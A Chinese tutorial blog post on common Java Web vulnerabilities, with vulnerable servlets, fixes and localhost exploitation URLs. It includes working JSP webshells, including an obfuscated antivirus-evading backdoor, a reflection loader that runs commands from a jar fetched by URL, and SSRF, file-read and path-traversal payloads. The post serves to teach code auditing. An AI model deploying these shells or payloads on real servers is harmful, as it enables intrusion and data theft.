美文网首页
2019-10-15 Java Web常见漏洞分析

2019-10-15 Java Web常见漏洞分析

作者: NoelleMu | 来源:发表于2019-10-14 15:23 被阅读0次

    目录

    Java vs PHP

    Java Web的常见概念

    • Java Web项目的目录结构
    • Servlet
    • JSP(Java Server Pages)
    • JDBC(Java Database Connectivity)
    • Java Bean

    Java Web常见漏洞分析

    • 命令执行(JSP一句话木马等)
    • SQL注入
    • 条件竞争(Servlet线程不安全)
    • SSRF
    • 文件上传
    • 代码执行(Java反射机制)
    • 任意文件读取/目录遍历攻击

    Java vs PHP

    语言 Java PHP
    语言类型(静态类型/动态类型) 静态类型(不过现在似乎引入了动态类型) 动态类型(变量在声明时不需要声明类型)
    语言类型(强类型/弱类型) 强类型(不允许隐式类型转换,类型安全) 弱类型(存在隐式类型转换,类型不安全)
    语言类型(编译型/解释型) 半编译半解释型(.java编译为.class,.class由JVM解释执行) 解释型
    安全性 好(相对而言,从语言本身的角度来讲)
    代码特点 代码复杂、长、不易懂 代码简单、短、易懂
    是否需要反编译 因为存在编译过程,需要反编译才能看到源码 不需要反编译
    代码审计的难易程度 困难(相比而言,代码审计的难易程度) 简单
    Java是世界上最好的语言

    Java Web常见概念

    Java Web项目的目录结构

    这里就讲有Maven的目录结构,因为做Java WebMaven几乎是必不可少的(以及构建工具里我只懂Maven……)。

    JavaWebProject      项目根目录
    |--src              存放Java源码
       |--main          Java程序及其相关的东西
          |--java       存放.java文件,这些文件一般是Servlet和JavaBean
          |--resources  存放需要用到的资源,比如Spring Framework的applicationContext.xml
       |-test           测试程序
    |--web              JSP文件放在这里
       |--WEB-INF       非常重要的目录,据说Java Web的题一般是拿到这个文件夹
          |--classes    编译好的.class文件
          |--lib        项目依赖的一些包,比如JDBC的包
          web.xml       项目配置文件
    pom.xml             Maven的文件
    

    Servlet

    狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个接口的类。

    一般情况下,将Servlet理解为后者。

    MVC的开发模式中,Servlet一般用作Controller

    JSP(Java Server Pages)

    JSP是一种动态网页技术标准,可以将特定的动态内容嵌入到静态页面中,类似于PHP

    JSPJava作为脚本语言(也就是说可以在HTML文件中嵌入Java代码),其本质上是一个ServletJSP在第一次访问时会被翻译成Servlet,再编译为.class文件)。

    一个简单粗暴的理解:JSPPHP一样,只是页面内嵌的语言换成了Java

    JDBC(Java Database Connectivity)

    JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。

    JavaBean

    JavaBean是一些有特定特点的Java类,其特点是:

    1. 有无参的构造器。
    2. 所有的属性都是private,并且提供了相应的gettersetter方法。

    服务器中访问的JavaBean一般有以下两种:

    1. 封装数据对象的JavaBean
    2. 封装业务逻辑的JavaBean

    Java Web常见漏洞分析

    这次只讲Java本身导致的一些漏洞,框架的漏洞太多了一时半会讲不完……

    命令执行(JSP一句话木马)

    无回显

    <%
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    %>
    

    利用:

    http://localhost:9000/javasec/commandExecution.jsp?cmd=calc
    

    弹出计算器。

    没有任何回显,不带cmd参数会报错。

    有回显

        <%
            java.io.InputStream is = Runtime.getRuntime()
                                    .exec(request.getParameter("command"))
                                    .getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            while ((a = is.read(b)) != -1) {
                out.print(new String(b));
            }
        %>
    

    利用:

    http://localhost:9000/javasec/commandExecution.jsp?command=whoami
    

    不带command参数也会报错。

    以上是基本的一句话木马,如果需要加密码验证之类的东西,和PHP的方法基本相同。

    免杀后门

    from:https://xz.aliyun.com/t/2342

    <%@ page pageEncoding="utf-8"%>
    <%@ page import="java.util.Scanner" %>
    <HTML>
    <title>Just For Fun</title>
    <BODY>
    <H3>Build By LandGrey</H3>
    <FORM METHOD="POST" NAME="form" ACTION="#">
        <INPUT TYPE="text" NAME="q">
        <INPUT TYPE="submit" VALUE="Fly">
    </FORM>
    
    <%
        String op="Got Nothing";
        String query = request.getParameter("q");
        String fileSeparator = String.valueOf(java.io.File.separatorChar);
        Boolean isWin;
        if(fileSeparator.equals("\\")){
            isWin = true;
        }else{
            isWin = false;
        }
    
        if (query != null) {
            ProcessBuilder pb;
            if(isWin) {
                pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
            }else{
                pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
            }
            Process process = pb.start();
            Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
            op = sc.hasNext() ? sc.next() : op;
            sc.close();
        }
    %>
    
    <PRE>
        <%= op %>>
    </PRE>
    </BODY>
    </HTML>
    

    注意:Java要想把字符串当成代码来执行非常困难,因为没有eval()这样的方法。这个也是由Java语言本身半编译半解释的特性决定的。实现这个功能需要很大量的代码(大概方法就是自己写一个动态编译,把字符串写入临时文件里,然后编译它,再执行),所以有别的解决方法的话还是别这么干了。用一句话说就是:Java的eval()方法要自己实现

    防范方法

    禁用JSP,在web.xml中加入:

    <jsp-config>
        <jsp-property-group>
            <url-pattern>*.jspx</url-pattern>
            <url-pattern>*.jsp</url-pattern>
            <scripting-invalid>true</scripting-invalid>
        </jsp-property-group>
    </jsp-config>
    

    添加以上设置之后,含有Java代码的JSP文件就会编译不通过。

    SQL注入

    典型漏洞代码:

                conn = DriverManager.getConnection(URL, USERNAME, PASSWORD);
                stmt = conn.createStatement();
                String sql = "SELECT * FROM user WHERE username = '" + username
                           + "' AND password = md5('" + password
                           + "')";
                System.out.println(sql);
                rs = stmt.executeQuery(sql);
    

    分析、修复方案等:

    https://www.yuque.com/timekeeper/sayyuy/shc33k

    一句话:使用PreparedStatement、不要把用户输入的东西拼到SQL语句里。

                String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
                stmt = conn.prepareStatement(sql);
                stmt.setString(1, username);
                stmt.setString(2, password);
                rs = stmt.executeQuery();
                System.out.println(stmt.toString());
    

    条件竞争(Servlet线程不安全)

    某些情况下JavaPHP更容易出现条件竞争漏洞。这里分享由Servlet线程不安全导致的条件竞争漏洞。

    Servlet实际上是单例的,除非这个Servlet实现SingleThreadMethod接口,当多线程并发访问时,每个线程得到的实际上是同一个Servlet实例,每个线程对这个Servlet实例的修改就会影响到其他线程。

    当客户端第一次请求某个Servlet时,Servlet容器(比较常见的就是tomcat)会根据@WebServlet注解(Servlet版本3及以上)或者web.xml的配置(如果有的话)实例化这个Servlet。如果有新的客户端请求这个Servlet类,一般就不会再次实例化它了,也就是有多个线程在使用这个Servlet实例。

    典型代码1:

    package com.wen.javasec.controller;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.io.PrintWriter;
    
    @WebServlet("/RaceCondition")
    public class RaceCondition extends HttpServlet {
        private String username = "no name";
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String name = req.getParameter("username");
            if (name != null) {
                username = name;
            }
            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.println(username);
            out.flush();
            out.close();
        }
    }
    
    

    直接访问:

    http://localhost:9000/javasec/RaceCondition
    

    输出no name

    带上参数访问:

    http://localhost:9000/javasec/RaceCondition?username=江文
    

    输出变成江文

    使用其他浏览器不带参数访问,输出还是江文。也就是说有其他的线程修改了成员变量的值。

    修复:

    1. 不要在Servlet中使用成员变量。
    2. 实现SingleThreadModel接口(不建议,因为官方已经废弃了这个接口)。

    SSRF

    SSRF(Server-Side Request Forge, 服务端请求伪造),攻击者让服务端发起指定的请求。

    SSRF攻击的目标一般是从外网无法访问的内网系统。

    Java中的SSRF支持sun.net.www.protocol里的所有协议:

    • http
    • https
    • file
    • ftp
    • mailto
    • jar
    • netdoc

    但是,相对于PHPJavaSSRF的利用局限较大(因为Java没有那么灵活),一般利用http协议来探测端口,利用file协议读取任意文件。

    典型代码(应该是最简单的SSRF,利用SSRF读文件):

    package com.wen.javasec.controller;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.PrintWriter;
    import java.net.HttpURLConnection;
    import java.net.URL;
    import java.net.URLConnection;
    
    @WebServlet("/SSRF")
    public class SSRFServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String url = req.getParameter("url");
            if (url != null) {
                URL u = new URL(url);
                URLConnection urlConnection = u.openConnection();
                URLConnection httpUrl = urlConnection;
                BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
                String inputLine;
                StringBuffer html = new StringBuffer();
    
                while ((inputLine = in.readLine()) != null) {
                    html.append(inputLine);
                }
                resp.setContentType("text/html;charset=UTF-8");
                PrintWriter out = resp.getWriter();
                out.println("<xmp>");
                out.print(html.toString());
                out.println("</xmp>");
                out.flush();
                out.close();
                in.close();
            }
        }
    }
    
    

    利用:

    E盘根目录下放置flag.txt

    http://localhost:9000/javasec/SSRF?url=file:///E:/flag.txt
    

    成功读取到flag.txt的内容。

    修复:

    PHPSSRF一个修复方法。

    以上代码如果加上强制类型转换,也可以使其失去读文件的功能:

    URLConnection httpUrl = (HttpURLConnection) urlConnection;
    

    文件上传

    Java中实现文件上传的代码比较复杂,一个典型的没有做任何过滤的文件上传Servlet代码如下:

    package com.wen.javasec.controller;
    
    import org.apache.commons.fileupload.FileItem;
    import org.apache.commons.fileupload.disk.DiskFileItemFactory;
    import org.apache.commons.fileupload.servlet.ServletFileUpload;
    
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.File;
    import java.io.IOException;
    import java.util.List;
    
    @WebServlet("/FileUpload")
    public class UploadServlet extends HttpServlet {
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
            String root = req.getServletContext().getRealPath("/upload");
            DiskFileItemFactory factory = new DiskFileItemFactory();
            ServletFileUpload upload = new ServletFileUpload(factory);
            try {
                List<FileItem> list = upload.parseRequest(req);
                for (FileItem it : list) {
                    if (!it.isFormField()) {
                        it.write(new File(root + "/" + it.getName()));
                        resp.getWriter().write("success");
                    }
                }
            } catch (Exception e) {
                try {
                    resp.getWriter().write("exception");
                } catch (IOException e1) {
                    e1.printStackTrace();
                }
                e.printStackTrace();
            }
        }
    }
    
    

    对应的JSP

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <html>
    <head>
        <title>File Upload</title>
    </head>
    <body>
        <form method="post" action="${pageContext.request.contextPath}/FileUpload" enctype="multipart/form-data">
            <input type="file" name="file">
            <input type="submit" value="submit">
        </form>
    </body>
    </html>
    
    

    访问/upload.jsp,什么都可以上传。

    这方面的代码审计和PHP差不多,看看Upload-Labs,研究一下就行。

    代码执行(Java反射机制)

    这里分享一下如何利用Java反射机制,与上面的文件上传漏洞相配合,来达到代码执行的目的。

    因为Java存在反射机制,可以在不重启服务器的情况下,动态加载用户上传的jar包。如果一个JavaWeb应用存在文件上传漏洞,我们成功上传了一个jar包和一个JSP文件,就可以在这个JSP文件中通过反射去加载这个jar包,进而执行其中的恶意代码。

    这里写在Servlet里了。如果跟文件上传配合着来的话,建议写在JSP里:

    package com.wen.javasec.controller;
    
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.lang.reflect.Method;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    @WebServlet("/Reflect")
    public class ReflectServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            String url = req.getParameter("url");
            String className = req.getParameter("class");
            String methodName = req.getParameter("method");
            String cmd = req.getParameter("cmd");
    
            URL[] urls = new URL[] { new URL(url) };
            URLClassLoader ucl = new URLClassLoader(urls);
    
            try {
                Class<?> cls = ucl.loadClass(className);
                Method method = cls.getMethod(methodName, String.class);
                String result = (String) method.invoke(cls.newInstance(), cmd);
                if (result != null) {
                    resp.setContentType("text/html;charset=UTF-8");
                    PrintWriter out = resp.getWriter();
                    out.print(result);
                    out.flush();
                    out.close();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    

    被加载的类,打成jar包:

    import java.io.*;
    
    public class Exec {
        public String execution(String cmd) {
            try {
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                String result = "Result:";
                while ((a = is.read(b)) != -1) {
                    result += new String(b);
                }
                return result;
            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
            
        }
    }
    
    
    javac .\Exec.java
    jar -cvf Exec.jar Exec.class
    

    利用:

    http://localhost:9000/javasec/Reflect?url=file:///E:/JavaWeb/jar/Exec.jar&class=Exec&method=execution&cmd=whoami
    

    任意文件读取/目录遍历攻击

    任意文件读取

    读取任意文件,并显示:

    package com.wen.javasec.controller;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.*;
    
    @WebServlet("/FileRead")
    public class FileReadServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String url = req.getParameter("file");
            if (url != null) {
                File file = new File(url);
                FileInputStream fis = new FileInputStream(file);
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                byte[] b = new byte[1024];
                int a = -1;
                while ((a = fis.read(b)) != -1) {
                    baos.write(b, 0, a);
                }
                resp.setContentType("text/html;charset=UTF-8");
                PrintWriter out = resp.getWriter();
                out.print("<xmp>");
                out.print(new String(baos.toByteArray()));
                out.print("</xmp>");
                fis.close();
            }
        }
    }
    
    

    利用:

    http://localhost:9000/javasec/FileRead?file=E:///flag.txt
    

    目录遍历攻击

    package com.wen.javasec.controller;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    @WebServlet("/FileDownload")
    public class FileDownloadServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String root = req.getServletContext().getRealPath("/upload");
            String fileName = req.getParameter("file");
            File file = new File(root + "/" + fileName);
            FileInputStream fis = new FileInputStream(file);
            resp.addHeader("Content-Disposition", "attachment;filename=" + new String(fileName.getBytes()));
            resp.addHeader("Content-Length", "" + file.length());
            byte[] b = new byte[fis.available()];
            fis.read(b);
            resp.getOutputStream().write(b);
        }
    }
    
    

    对应的JSP

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <html>
    <head>
        <title>Download</title>
    </head>
    <body>
        <form action="${pageContext.request.contextPath}/FileDownload" method="get">
            <label for="file">需要下载的文件名:</label>
            <input type="text" name="file" id="file">
            <input type="submit" value="submit">
        </form>
    </body>
    </html>
    
    

    利用:

    http://localhost:9000/javasec/FileDownload?file=../WEB-INF/web.xml
    

    或者直接在download.jsp的输入框里输入../WEB-INF/web.xml也可以。

    相关文章

      网友评论

          本文标题:2019-10-15 Java Web常见漏洞分析

          本文链接:https://www.haomeiwen.com/subject/plesmctx.html